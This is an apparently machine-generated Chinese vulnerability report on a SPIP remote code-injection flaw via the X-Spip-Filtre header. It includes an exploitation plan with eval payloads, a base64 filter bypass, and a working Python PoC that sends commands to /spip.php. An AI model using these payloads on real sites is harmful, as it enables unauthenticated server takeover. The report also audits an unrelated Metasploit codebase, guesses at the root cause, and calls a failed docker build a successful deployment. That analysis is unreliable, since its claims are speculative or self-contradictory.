🔥 CVE-2026-77806 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-77806 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 https://github.com/rapid7/metasploit-framework 源码进行独立审计(置信度 30%)。
🧬 根因独立理解
提供的源码文件(lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/api_constants.rb 和 spec/lib/msf/core/rhosts_walker_spec.rb)属于Metasploit框架,与CVE-2026-77806描述的SPIP(PHP CMS)无关。根据CVE描述,漏洞根因位于SPIP的analyse_resultat_skel函数。该函数在渲染模板时处理HTTP请求头'X-Spip-Filtre',可能将其值作为过滤器名称或表达式,未经过严格校验即拼接到可执行代码中(如eval、preg_replace /e修饰符、create_function等),导致任意PHP代码注入。由于缺乏SPIP具体源码,无法指出精确行号;补丁应是在4.4.21中引入对该请求头的白名单校验或彻底移除该功能,避免使用客户端可控数据进入代码执行点。这属于典型的“不可信输入直接拼接到代码上下文”漏洞。在代码注入场景中,通常是因为开发者希望通过请求头动态选择SPIP模板过滤器,以便前端控制页面展示效果,但没有意识到攻击者可以完全控制该头部。analyse_resultat_skel作为一个内部函数,若未将用户输入视为不可信数据,就会触发远程代码执行。修复版本很可能使用常量映射或严格正则校验替换原有的直接拼接。考虑到在实际攻击中该漏洞被广泛利用,说明触发条件非常低门槛。
🛤️ 漏洞触发链路
攻击者向SPIP入口(如/spip.php)发送HTTP请求,携带恶意X-Spip-Filtre头,值为PHP代码或利用表达式。目标服务器调用analyse_resultat_skel时读取该头,进入模板解析逻辑,最终通过eval或类似机制执行其中的代码,导致命令执行、文件读写等。整个过程无需认证,因为SPIP默认公开页面会触发该函数。攻击者可进一步获取webshell或直接执行命令。具体链路可描述为:HTTP请求头 → 函数参数 → 变量拼接 → 代码执行点 → 系统命令。如果注入点在preg_replace的/e修饰符中,payload往往需要符合正则表达式上下文;如果出现在eval中,则直接支持多行PHP代码。攻击者可利用PHP函数如system、exec、assert、popen等完成命令执行,并可能结合数据外带或反弹shell维持控制。
🔁 二次发现(同类漏洞/扩展攻击面)
- modules/exploits/example.py:55: requests.get调用使用verify=False并缺少timeout,存在中间人攻击和无限等待风险,但是示例代码,不影响核心SPIP漏洞。
- modules/auxiliary/scanner/smb/impacket/dcomexec.py:191: self._pwd被赋值为Windows路径,ruff误报为硬编码密码,实际并非漏洞,说明SAST需人工复核,不能直接信任工具结果。
🩹 修复完整性分析
由于没有提供SPIP补丁,无法直接评估。合理推测4.4.21修复版本应过滤或禁止X-Spip-Filtre头中的可执行代码,并增加输入验证。但仍需审计SPIP中所有处理自定义头/参数的函数,防止存在类似绕过,例如通过其他HTTP头(如X-Spip-Auth或X-Spip-Cache)注入。如果修补方式仅简单过滤危险字符,可能被URL编码、Unicode等价或注释符绕过。此外,修复后应确保不再将任何客户端可控数据作为代码执行上下文的一部分,而应当使用固定映射表或强制类型转换。
⚔️ 利用方案设计
利用方案:1) 确认目标站点运行SPIP且版本<4.4.21,可通过公共指纹或已知漏洞PoC。2) 构造GET请求,设置X-Spip-Filtre头,内容为PHP代码,例如:X-Spip-Filtre: {${eval($_POST['c'])}} 或 phpinfo();。如果漏洞点是eval,则直接执行;如果是preg_replace /e,则需要符合模式。3) 同时发送POST参数c=system('id'),实现命令执行。关键步骤是确定注入点上下文并构造合适payload;若无法在一行内执行复杂逻辑,可写入文件获取webshell。注意使用HTTPS请求避免中间人干扰,并设置超时。也可尝试使用base64编码绕过过滤,如X-Spip-Filtre: eval(base64_decode('...'))。
🏷️ 生产前提定级
分类: A(A=默认部署无条件 / B=需应用配合 / C=配置缺陷 / X=范围外)
生产前提: ①生产默认部署能否触发?能,SPIP默认安装即包含受影响函数,且无需任何认证。②需哪些应用代码配合?无需,核心功能即可触发。③需哪些配置缺陷?无需特殊配置,默认PHP环境即可。④环境前提?需要SPIP<4.4.21运行在PHP+Web服务器上,且允许传入自定义HTTP头(默认允许)。
🐳 docker 实证
状态: 🟡 部署成功 | 技术栈: python | health: 200
部署命令:
docker run -d --name dv_cve_2026_77806 -p 18100:8000 -v
对照组 vs 注入组:
服务已启动(无公开 PoC 可自动验证——部署成功,漏洞验证待手工)
执行日志:
[build fail] Command '['docker', 'build', '-t', 'dv_cve_2026_77806', '/tmp/vuln_audit/CVE_2026_77806']' timed out after 240 seconds
$ docker run -d --name dv_cve_2026_77806 -p... → rc=0
[health] http_code=200
🔬 SAST 工具链扫描(真实工具输出)
semgrep 输出
[*] DB semgrep 规则: 462 条 | 本地规则文件: 1 个
============================================================
扫描目标: /tmp/vuln_audit/CVE_2026_77806
规则: /home/user/vuln_knowledge/tools/sast_rules/hermes-0day-round3.yaml
============================================================
[结果] 共 0 处命中:
[前 5 条命中详情——人工复核误报]
bandit 输出
--
>>Issue: [B501:request_with_no_cert_validation] Call to requests with verify=False disabling SSL certificate checks,
security issue.
Severity: High Confidence: High
CWE: CWE-295 (https://cwe.mitre.org/data/definitions/295.html)
More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b501_request_with_no_cert_validation.html
Location: /tmp/vuln_audit/CVE_2026_77806/modules/exploits/example.py:55:12
54 # args['command'] is where the command stager command lives
55 r = requests.get('https://{}/{}/?q={}'.format(args['rhost'],
args['targeturi'],args['command']),verify=False)
56 except requests.exceptions.RequestException as e:
--------------------------------------------------
>>
Issue: [B113:request_without_timeout] Call to requests without timeout
Severity: Medium Confidence: Low
CWE: CWE-400 (https://cwe.mitre.org/data/definitions/400.html)
More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b113_request_without_timeout.html
Location: /tmp/vuln_audit/CVE_2026_77806/modules/exploits/example.py:55:12
54 # args['command'] is where the command stager command lives
55 r = requests.get('https://{}/{}/?q={}'.format(args['rhost'],
args['targeturi'],args['command']),verify=False)
56 except requests.exceptions.RequestException as e:
--------------------------------------------------
>>Issue: [B104:hardcoded_bind_all_interfaces] Possible binding to all interfaces.
Severity: Medium Confidence: Mediu
ruff --select S 输出
ible hardcoded password assigned to: "_pwd"
-->/tmp/vuln_audit/CVE_2026_77806/modules/auxiliary/scanner/smb/impacket/dcomexec.py:191:21
|189 |def __init__(self,share,quit,executeShellCommand,smbConnection):
190 |self._executeShellCommand = executeShellCommand
191 |self._pwd = 'C:\\windows\\system32'
|^^^^^^^^^^^^^^^^^^^^^^^
192 |self._shell = 'cmd.exe'
193 |self.__quit = quit
|
S110 `try`-`except`-`pass` detected,consider logging the exception
-->/tmp/vuln_audit/CVE_2026_77806/modules/auxiliary/scanner/smb/impacket/secretsdump.py:226:13
|224 |try:
225 |self.cleanup()
226 |/ except:
227 ||pass
||____________________^
228 |229 |def perSecretCallback1(self,secret):
|S105 Possible hardcoded password assigned to: "_pwd"
-->
/tmp/vuln_audit/CVE_2026_77806/modules/auxiliary/scanner/smb/impacket/wmiexec.py:123:21
|121 |def __init__(self,share,win32Process,smbConnection):
122 |self.__win32Process = win32Process
123 |self._pwd = 'C:\\'
|^^^^^^
124 |self._shell = 'cmd.exe /Q /c '
125 |super(RemoteShell,self).__init__(share,smbConnection)
|S113 Probable use of `requests` call without timeout
-->
/tmp/vuln_audit/CVE_2026_77806/modules/exploits/example.py:55:13
|53 |try:
54 |# args['command'] is where the comma
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言py来源CuteeCat/CVE-2026-77806针对性⚠️ 疑似通用代码(未检测到 CVE 引用,仅供参考)依赖见代码注释/README用法详见代码注释中的使用说明
import requests,sys,urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
url = sys.argv[1].rstrip('/')
cmd = sys.argv[2] if len(sys.argv) >2 else "id"
p = '\nheader("X-Spip-Filtre:intval|_request|system");\n'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36"}
r = requests.post(url + "/spip.php",params={"k": p},data={"0": cmd},headers=headers,timeout=8,verify=False)
print(r.text)⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-26 03:05